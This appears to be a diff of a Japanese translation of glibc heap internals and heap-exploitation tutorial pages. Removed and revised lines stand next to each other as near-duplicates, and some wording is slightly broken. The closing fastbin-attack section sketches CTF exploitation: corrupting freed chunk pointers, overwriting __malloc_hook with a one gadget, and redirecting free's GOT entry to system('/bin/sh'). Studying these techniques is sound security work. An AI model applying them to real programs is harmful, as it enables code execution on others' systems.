- ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
- デフォルトでは、サブヒープの予約サイズは32ビットプロセスの場合は1MB、64ビットプロセスの場合は64MBです。
3. **`mprotect`による段階的拡張**
- 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
- サブヒープを「成長させる」ために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
@ -52,7 +52,7 @@
### heap_info <a href="#heap_info" id="heap_info"></a>
この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があるため、この構造体はその情報も保存します。
この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があ、この構造体はその情報も保存します。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -74,11 +74,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがって、libcのメモリ空間にあります。\
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」部**にあります。
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**
この構造体から注目すべき興味深い点がいくつかあります以下のCコードを参照
- `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによってのみアクセスされることを保証するためにあります。
- `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。
- フラグ:
- ```c
@ -90,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含ます(-2はインデックス0が使用されていないためです
- したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、もしあなたが**メインアリーナでこれらのアドレスを漏洩させることができれば**、あなたは**libc**内の構造体へのポインタを持つことになります。
- `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです
- したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、**メインアリーナでこれらのアドレスをl**eakできれば、**libc**内の構造体へのポインタを得ることができます。
- 構造体`struct malloc_state *next;``struct malloc_state *next_free;`はアリーナのリンクリストです。
- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべての空間**です。トップチャンクが「空」であるとき、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に大きなチャンクが分割され、残りの部分のポインタがここに置かれるケースから来ます。
- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」になると、ヒープは完全に使用され、さらにスペースを要求する必要があります。
- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に大きなチャンクが分割され、残りの部分のポインタがここに置かれるケースから来ています。
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -159,7 +159,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
前述のように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
@ -171,21 +171,21 @@ typedef struct malloc_chunk* mchunkptr;
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08Bまたは割り当てられたときにユーザーデータを格納するためのものがあります。
さらに、利用可能な場合、ユーザーデータは以下のデータを含むためにも使用されます:
さらに、利用可能な場合、ユーザーデータはのデータを含むためにも使用されます:
- **`fd`**: 次のチャンクへのポインタ
- **`bk`**: 前のチャンクへのポインタ
- **`fd_nextsize`**: 自身より小さいリスト内の最初のチャンクへのポインタ
- **`bk_nextsize`:** 自身より大きいリスト内の最初のチャンクへのポインタ
- **`fd_nextsize`**: リスト内で自分より小さい最初のチャンクへのポインタ
- **`bk_nextsize`:** リスト内で自分より大きい最初のチャンクへのポインタ
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!TIP]
> このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注意してください
> このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなります
### チャンクポインタ
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されますヘッダーの後)。ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されますヘッダーのすぐ後)。ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
これらの変換には次の関数が使用されます:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -411,11 +411,11 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
メイン関数の終わりにブレークポイントを設定し、情報がどこに保存されているかを確認しましょう:
メイン関数の終わりにブレークポイントを設定し、情報がどこに保存されかを確認しましょう:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocからの応答として与えられたアドレスです。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**こと長さ0を示し、このチャンクの長さは`0x21`す。
文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocからの応答として与えられたアドレスです。0x10バイト前を確認すると、`0x0`が**前のチャンクが使用されていない**長さ0ことを示し、このチャンクの長さが`0x21`であることがわかります。
予約された余分なスペース0x21-0x10=0x11は**追加ヘッダー**0x10から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため64ビットマシンで、これらのビットは実際には長さの数値によって使用されることはありません。
```
@ -483,7 +483,7 @@ return 0;
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## ビンとメモリの割り当て/解放
ビンが何であり、どのように整理され、メモリがどのように割り当てられ、解放されるかを確認してください:
@ -491,15 +491,15 @@ return 0;
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## ヒープ関数のセキュリティチェック
ヒープに関与する関数は、ヒープが破損していないことを確認するために、アクションを実行する前に特定のチェックを行います:
ヒープに関与する関数は、アクションを実行する前に特定のチェックを行い、ヒープが破損していないことを確認しようとします:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## 参考文献
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -4,20 +4,20 @@
## 基本情報
チャンクの保存効率を向上させるために、各チャンクは単一のリンクリストにだけ存在するのではなく、いくつかのタイプがあります。これらはビンと呼ばれ、5種類のビンがあります: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小ビン、63 大ビン、1 未整理ビン、10 ファストビン、64 tcacheビンスレッドごと
チャンクの保存効率を向上させるために、各チャンクは単一のリンクリストにだけ存在するのではなく、いくつかのタイプがあります。これがビンであり、5種類のビンがあります: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小ビン、63 大ビン、1 未整理ビン、10 高速ビン、スレッドごとに64 tcacheビンです
未整理、小ビン、大ビンの各ビンへの初期アドレスは同じ配列内にあります。インデックス0は未使用、1は未整理ビン、ビン2-64は小ビン、ビン65-127は大ビンです。
### Tcache(スレッドごとのキャッシュ)ビン
### Tcache (スレッドごとのキャッシュ) ビン
スレッドはそれぞれ独自のヒープを持とうとしますが([アリーナ](bins-and-memory-allocations.md#arenas)および[サブヒープ](bins-and-memory-allocations.md#subheaps)を参照)、多くのスレッドを持つプロセス(ウェブサーバーなど)が**他のスレッドとヒープを共有する可能性があります**。この場合、主な解決策は**ロッカー**の使用であり、これにより**スレッドが大幅に遅くなる可能性があります**。
スレッドはそれぞれ独自のヒープを持とうとしますが([アリーナ](bins-and-memory-allocations.md#arenas)および[サブヒープ](bins-and-memory-allocations.md#subheaps)を参照)、多くのスレッドを持つプロセス(ウェブサーバーのような)は**他のスレッドとヒープを共有する可能性があります**。この場合、主な解決策は**ロッカー**の使用であり、これにより**スレッドが大幅に遅くなる可能性があります**。
したがって、tcacheはスレッドごとのファストビンに似ており、**チャンクをマージしない単一のリンクリスト**です。各スレッドには**64の単一リンクtcacheビン**があります。各ビンは、[64ビットシステムで24から1032B、32ビットシステムで12から516Bの範囲の](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [同サイズのチャンクを最大7つ](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)持つことができます。
したがって、tcacheはスレッドごとの高速ビンに似ており、**チャンクをマージしない単一のリンクリスト**です。各スレッドには**64の単一リンクtcacheビン**があります。各ビンは、[64ビットシステムで24から1032B、32ビットシステムで12から516Bの範囲の](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [同サイズのチャンクを最大7つ](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323)持つことができます。
**スレッドがチャンクを解放するとき**、**tcacheに割り当てるには大きすぎない場合**、かつ該当するtcacheビンが**満杯でない**すでに7つのチャンクがある場合、**そこに割り当てられます**。tcacheに行けない場合、グローバルに解放操作を実行するためにヒープロックを待つ必要があります。
**スレッドが**チャンクを解放するとき、**tcacheに割り当てるには大きすぎない場合**、および該当するtcacheビンが**満杯でない場合**すでに7つのチャンクがある場合、**そこに割り当てられます**。tcacheに行けない場合、グローバルに解放操作を実行するためにヒープロックを待つ必要があります。
**チャンクが割り当てられるとき**、必要なサイズのフリーなチャンクが**Tcacheにあればそれを使用し**、なければ、グローバルビンで見つけるか新しいものを作成するためにヒープロックを待つ必要があります。\
また、最適化もあり、この場合、ヒープロックを保持している間、スレッドは**要求されたサイズのヒープチャンク7でTcacheを満たします**。そのため、さらに必要な場合は、Tcache内で見つけることができます。
**チャンクが割り当てられるとき**、必要なサイズの空きチャンクが**Tcacheにあればそれを使用し**、そうでなければ、グローバルビンで見つけるか新しいものを作成するためにヒープロックを待つ必要があります。\
また、最適化もあり、この場合、ヒープロックを保持している間、スレッドは**要求されたサイズのヒープチャンク7でTcacheを満たします**ので、さらに必要な場合はTcacheで見つけることができます。
<details>
@ -36,7 +36,7 @@ free(chunk);
return 0;
}
```
コンパイルして、main関数のretオペコードにブレークポイントを設定してデバッグします。次に、gefを使用すると、使用中のtcache binを見ることができます:
コンパイルして、main関数のretオペコードにブレークポイントを設定します。次に、gefを使用すると、使用中のtcache binを見ることができます:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -46,7 +46,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
#### Tcache 構造体と関数
以下のコードでは、**max bins** と **chunks per index**、ダブルフリーを避けるために作成された **`tcache_entry`** 構造体、各スレッドがビンの各インデックスへのアドレスを格納するために使用する構造体 **`tcache_perthread_struct`** を見ることができます。
以下のコードでは、**max bins** と **chunks per index**、ダブルフリーを避けるために作成された **`tcache_entry`** 構造体、各スレッドがビンの各インデックスへのアドレスを格納するために使用する **`tcache_perthread_struct`** 構造体を見ることができます。
<details>
@ -149,17 +149,17 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Tcache インデックス
Tcache には、サイズに応じていくつかのビンがあり、**各インデックスの最初のチャンクへのポインタとインデックスごとのチャンクの量はチャンク内にあります**。これは、この情報(通常は最初のもの)を持つチャンクを特定することで、すべての tcache 初期ポイントと Tcache チャンクの量を見つけることができることを意味します。
Tcache には、サイズに応じた複数のビンがあり、**各インデックスの最初のチャンクへのポインタとインデックスごとのチャンクの量はチャンク内にあります**。これは、この情報を持つチャンク(通常は最初のもの)を特定することで、すべての tcache 初期ポイントと Tcache チャンクの量を見つけることができることを意味します。
### ファストビン
ファストビンは、**小さなチャンクのメモリ割り当てを高速化するために設計されています**。最近解放されたチャンクを迅速にアクセスできる構造に保持します。これらのビンは、後入れ先出しLIFOアプローチを使用しており、**最も最近解放されたチャンクが最初**に再利用されます。これは、スタックの上部から挿入および削除する方が、キューFIFOよりも速いため、速度にとって有利です。
ファストビンは、**小さなチャンクのメモリ割り当てを高速化するために設計されています**。最近解放されたチャンクを迅速にアクセスできる構造に保持します。これらのビンは、後入れ先出しLIFOアプローチを使用しており、**最も最近解放されたチャンクが最初**に再利用されます。これは、スタックの上部からの挿入と削除がキューFIFOと比較して速いため、速度にとって有利です。
さらに、**ファストビンは単方向リンクリストを使用**しており、双方向リンクではないため、速度がさらに向上します。ファストビンのチャンクは隣接するチャンクとマージされないため、中間から削除を可能にする複雑な構造は必要ありません。単方向リンクリストは、これらの操作に対してよりシンプルで迅速です。
さらに、**ファストビンは単方向リンクリストを使用**しており、双方向リンクではないため、速度がさらに向上します。ファストビンのチャンクは隣接するチャンクとマージされないため、中間から削除を可能にする複雑な構造は必要ありません。単方向リンクリストは、これらの操作に対してよりシンプルで迅速です。
基本的に、ここで起こることは、ヘッダー(最初のチャンクをチェックするためのポインタ)が常にそのサイズの最新の解放されたチャンクを指しているということです。したがって:
- そのサイズの新しいチャンクが割り当てられると、ヘッダーは使用するための空きチャンクを指します。この空きチャンクが次に使用するチャンクを指しているため、このアドレスはヘッダーに保存され、次の割り当てが利用可能なチャンクを取得する場所を知ることができます。
- そのサイズの新しいチャンクが割り当てられると、ヘッダーは使用するための空きチャンクを指しています。この空きチャンクが次に使用するチャンクを指しているため、このアドレスはヘッダーに保存され、次の割り当てが利用可能なチャンクを取得する場所を知ることができます。
- チャンクが解放されると、空きチャンクは現在の利用可能なチャンクへのアドレスを保存し、この新しく解放されたチャンクへのアドレスがヘッダーに置かれます。
リンクリストの最大サイズは `0x80` であり、サイズ `0x20` のチャンクはインデックス `0` に、サイズ `0x30` のチャンクはインデックス `1` に配置されます...
@ -244,16 +244,16 @@ Fastbins[idx=1, size=0x30] 0x00
### 未整理ビン
未整理ビンは、ヒープマネージャーによってメモリ割り当てを迅速に行うために使用される**キャッシュ**です。動作は次のようになりまプログラムがチャンクを解放すると、そのチャンクがtcacheやファストビンに割り当てられず、トップチャンクと衝突しない場合、ヒープマネージャーはすぐに特定の小さなビンや大きなビンに入れません。代わりに、最初に**隣接する空きチャンクとマージしようとします**。これにより、より大きな空きメモリブロックが作成されます。その後、この新しいチャンクは「未整理ビン」と呼ばれる一般的なビンに配置されます。
未整理ビンは、ヒープマネージャーによってメモリ割り当てを迅速に行うために使用される**キャッシュ**です。動作は次のとおりでプログラムがチャンクを解放すると、そのチャンクがtcacheやファストビンに割り当てられず、トップチャンクと衝突しない場合、ヒープマネージャーはすぐに特定の小さなビンや大きなビンに入れません。代わりに、まず**隣接する空きチャンクとマージしようとします**。これにより、より大きな空きメモリブロックが作成されます。その後、この新しいチャンクは「未整理ビン」と呼ばれる一般的なビンに配置されます。
プログラムが**メモリを要求すると**、ヒープマネージャーは**未整理ビンをチェック**して、十分なサイズのチャンクがあるかどうかを確認します。見つかれば、すぐに使用します。未整理ビンに適切なチャンクが見つからない場合は、このリスト内のすべてのチャンクをサイズに基づいて対応するビン(小または大)に移動します。
プログラムが**メモリを要求すると**、ヒープマネージャーは**未整理ビンをチェック**して、十分なサイズのチャンクがあるかどうかを確認します。見つかれば、すぐにそれを使用します。未整理ビンに適切なチャンクが見つからない場合は、このリスト内のすべてのチャンクをサイズに基づいて対応するビン(小または大)に移動します。
注意すべきは、より大きなチャンクが2つの半分に分割され、残りがMINSIZEより大きい場合、それは未整理ビンに戻されるということです。
したがって、未整理ビンは、最近解放されたメモリを迅速に再利用することメモリ割り当てを加速し、時間のかかる検索やマージの必要性を減らす方法です。
したがって、未整理ビンは、最近解放されたメモリを迅速に再利用することによってメモリ割り当てを加速し、時間のかかる検索やマージの必要性を減らす方法です。
> [!CAUTION]
> チャンクが異なるカテゴリであっても、利用可能なチャンクが別の利用可能なチャンクと衝突している場合(元々異なるビンに属していても)、それらはマージされることに注意してください。
> チャンクが異なるカテゴリであっても、利用可能なチャンクが別の利用可能なチャンクと衝突している場合(たとえ元々異なるビンに属していても)、それらはマージされることに注意してください。
<details>
@ -285,9 +285,9 @@ free(chunks[i]);
return 0;
}
```
同じサイズの9つのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、8つ目と9つ目は**トップチャンクとマージされません**。
9つの同じサイズのチャンクを割り当てて解放する方法に注意してください。これにより、**tcacheが満たされ**、8つ目は**fastbinには大きすぎる**ため、未ソートのビンに格納されます。そして9つ目は解放されていないため、9つ目と8つ目は**トップチャンクとマージされません**。
それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯で、1つのチャンクが未ソートのビンにあることがわかります
それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯であり、1つのチャンクが未ソートのビンにあることがわかります
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -311,7 +311,7 @@ Fastbins[idx=6, size=0x80] 0x00
スモールビンはラージビンよりも速いですが、ファストビンよりは遅いです。
62の各ビンは**同じサイズのチャンク**を持ちます16、24、...32ビットで最大サイズは504バイト、64ビットで最大サイズは1024バイト。これは、スペースを割り当てるべきビンを見つける速度や、これらのリストへのエントリの挿入と削除を助けます。
62の各ビンは**同じサイズのチャンク**を持ちます16、24、...32ビットで最大504バイト、64ビットで最大1024バイト。これは、スペースを割り当てるべきビンを見つける速度や、これらのリストへのエントリの挿入と削除を助けます。
スモールビンのサイズはビンのインデックスに応じて次のように計算されます:
@ -394,17 +394,17 @@ Fastbins[idx=6, size=0x80] 0x00
### 大きなビン
小さなビンが固定サイズのチャンクを管理するのに対し、各**大きなビンはチャンクサイズの範囲を扱います**。これはより柔軟で、システムが**さまざまなサイズ**を別々のビンなしで収容できるようにします。
小さなビンが固定サイズのチャンクを管理するのに対し、各**大きなビンはチャンクサイズの範囲を扱います**。これはより柔軟で、システムが**さまざまなサイズ**を別々のビンを必要とせずに対応できるようにします。
メモリアロケータでは、大きなビンは小さなビンが終了するところから始まります。大きなビンの範囲は徐々に大きくなり、最初のビンは512バイトから576バイトのチャンクをカバーし、次のビンは576バイトから640バイトをカバーします。このパターンは続き、最大のビンは1MBを超えるすべてのチャンクを含みます。
メモリアロケータでは、大きなビンは小さなビンが終るところから始まります。大きなビンの範囲は徐々に大きくなり、最初のビンは512バイトから576バイトのチャンクをカバーし、次のビンは576バイトから640バイトをカバーします。このパターンは続き、最も大きなビンは1MBを超えるすべてのチャンクを含みます。
大きなビンは小さなビンに比べて操作が遅くなります。なぜなら、**最適なフィットを見つけるためにさまざまなチャンクサイズのリストをソートし検索しなければならないからです**。チャンクが大きなビンに挿入されると、それはソートされ、メモリが割り当てられるときにシステムは適切なチャンクを見つけなければなりません。この追加の作業により、**遅くなります**が、大きな割り当ては小さな割り当てよりも一般的ではないため、許容できるトレードオフです。
大きなビンは小さなビンに比べて操作が遅くなります。なぜなら、**最適なフィットを見つけるためにさまざまなチャンクサイズのリストをソートし検索しなければならないからです**。チャンクが大きなビンに挿入されると、それはソートされなければならず、メモリが割り当てられるとき、システムは適切なチャンクを見つけなければなりません。この追加の作業により、**遅くなります**が、大きな割り当ては小さなものよりも一般的ではないため、許容できるトレードオフです。
以下があります:
- 64B範囲のビンが32個小さなビンと衝突
- 512B範囲のビンが16個小さなビンと衝突
- 4096B範囲のビンが8個小さなビンと部分的に衝突)
- 4096B範囲のビンが8個部分的に小さなビンと衝突)
- 32768B範囲のビンが4個
- 262144B範囲のビンが2個
- 残りのサイズ用のビンが1個
@ -468,7 +468,7 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
2つの大きなアロケーションが行われ、その後1つが解放され未ソートビンに入る、より大きなアロケーションが行われます解放されたものが未ソートビンから大きなビンに移動します)。
2つの大きなアロケーションが行われ、その後1つが解放され未ソートビンに入る、より大きなアロケーションが行われます未ソートビンから大きなビンに解放されたものが移動します)。
それをコンパイルし、`main`関数の`ret`オペコードにブレークポイントを設定してデバッグします。次に、`gef`を使用すると、tcacheビンが満杯であり、1つのチャンクが大きなビンにあることがわかります。
```bash
@ -519,10 +519,10 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
基本的に、これは現在利用可能なヒープのすべてのチャンクを含んでいます。mallocが実行されると、使用するための利用可能なフリーチャンクがない場合、このトップチャンクは必要なスペースを確保するためにサイズを減少させます。\
基本的に、これは現在利用可能なヒープを含むチャンクです。mallocが実行されると、使用するための利用可能なフリーチャンクがない場合、このトップチャンクはサイズを減少させて必要なスペースを確保します。\
トップチャンクへのポインタは`malloc_state`構造体に格納されています。
さらに、最初は、未整列チャンクをトップチャンクとして使用することが可能です。
さらに、最初は、未ソートチャンクをトップチャンクとして使用することが可能です。
<details>
@ -553,8 +553,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
トップチャンクがアドレス `0xaaaaaaac1ae0` にあることがわかります。これは驚くべきことではありません。なぜなら、最後に割り当てられたチャンクは `0xaaaaaaac12a0` にあり、サイズは `0x410` で、`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` だからです。\
トップチャンクの長さは、そのチャンクヘッダーでも確認できます:
トップチャンクがアドレス `0xaaaaaaac1ae0` にあることが確認できます。これは驚くべきことではなく、最後に割り当てられたチャンクは `0xaaaaaaac12a0` にあり、サイズは `0x410` で、`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` です。\
また、チャンクヘッダーにあるトップチャンクの長さも確認できます:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
@ -568,7 +568,8 @@ mallocが使用され、チャンクが分割されると例えば、未整
## 割り当てフロー
チェックアウト:
チェックしてください:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
@ -576,7 +577,8 @@ heap-memory-functions/malloc-and-sysmalloc.md
## 解放フロー
チェックアウト:
チェックしてください:
{{#ref}}
heap-memory-functions/free.md
@ -584,7 +586,8 @@ heap-memory-functions/free.md
## ヒープ関数のセキュリティチェック
ヒープで広く使用される関数によって実行されるセキュリティチェックを確認するには:
ヒープで広く使用される関数によって実行されるセキュリティチェックを確認してください:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md

View File

@ -4,15 +4,16 @@
## 基本情報
For more information about what is a fast bin check this page:
Fast bin についての詳細はこのページを参照してください:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
Fast bin は単方向リストであるため、他の bin よりも保護が少なく、**解放された fast bin** チャンクのアドレスを**変更するだけで、任意のメモリアドレスにチャンクを後で割り当てることができます**。
As summary:
要約すると:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -118,28 +119,28 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
> [!CAUTION]
> グローバル変数 **`global_max_fast`** の値を大きな数で上書きできる場合、これによりより大きなサイズのファストビンチャンクを生成でき、以前は不可能だったシナリオでファストビン攻撃を実行できる可能性があります。この状況は、[large bin attack](large-bin-attack.md) および [unsorted bin attack](unsorted-bin-attack.md) の文脈で有用です。
> グローバル変数 **`global_max_fast`** の値を大きな数で上書きできる場合、これによりより大きなサイズのファストビンチャンクを生成できるようになり、以前は不可能だったシナリオでファストビン攻撃を実行できる可能性があります。この状況は、[large bin attack](large-bin-attack.md) および [unsorted bin attack](unsorted-bin-attack.md) の文脈で有用です。
## 例
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- チャンクを割り当て、解放し、その内容を読み取り、(オーバーフロー脆弱性を使用して)埋めることが可能です。
- **情報漏洩のためのチャンクの統合**: この技術は基本的にオーバーフローを悪用して偽の `prev_size` を作成し、1つの前のチャンクをより大きなチャンクの中に入れることです。これにより、別のチャンクを含むより大きなチャンクを割り当てると、そのデータを印刷してlibcへのアドレス`main_arena+88`)を漏洩させることが可能になります。
- **mallocフックの上書き**: これには、前の重複状況を悪用して、同じメモリを指す2つのチャンクを持つことが可能でした。したがって、両方を解放すること保護を回避するためにその間に別のチャンクを解放するで、同じチャンクをファストビンに2回持つことが可能でした。その後、それを再度割り当て、次のチャンクへのアドレスを `__malloc_hook` の少し前を指すように上書きしましたmallocがフリーサイズだと思う整数を指すように - 別のバイパス)再度割り当てて、mallocフックへのアドレスを受け取る別のチャンクを割り当てました。\
最後に、**one gadget** がそこに書き込まれました。
- **mallocフックの上書き**: これには、前の重複状況を悪用して、同じメモリを指す2つのチャンクを持つことが可能でした。したがって、両方を解放する保護を回避するためにその間に別のチャンクを解放することで、同じチャンクをファストビンに2回持つことが可能になりました。その後、再度割り当てて、次のチャンクへのアドレスを `__malloc_hook` の少し前を指すように上書きしましたmallocがフリーサイズだと思う整数を指すように - 別のバイパス)再度割り当てて、mallocフックへのアドレスを受け取る別のチャンクを割り当てました。\
最後に **one gadget** がそこに書き込まれました。
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- ヒープオーバーフローと使用後の解放、ダブルフリーがあります。チャンクが解放されると、ポインタを再利用して再解放することが可能です。
- **Libc情報漏洩**: いくつかのチャンクを解放すると、メインアリーナの一部の位置へのポインタが得られます。解放されたポインタを再利用できるため、このアドレスを読み取るだけです。
- **ファストビン攻撃**: 割り当てへのすべてのポインタは配列内に保存されているため、いくつかのファストビンチャンクを解放し、最後のものにアドレスを上書きしてこのポインタの配列の少し前を指すようにします。その後、同じサイズのチャンクをいくつか割り当てると、最初に正当なものが得られ、その後ポインタの配列を含む偽のものが得られます。これで、この割り当てポインタを上書きして `free` のGOTアドレスを `system` を指すようにし、次にチャンク1に `"/bin/sh"` を書き込んで `free(chunk1)` を呼び出すと、代わりに `system("/bin/sh")` が実行されます。
- **Libc情報漏洩**: いくつかのチャンクを解放すると、メインアリーナの一部の位置へのポインタが得られます。解放されたポインタを再利用できるので、このアドレスを読み取るだけです。
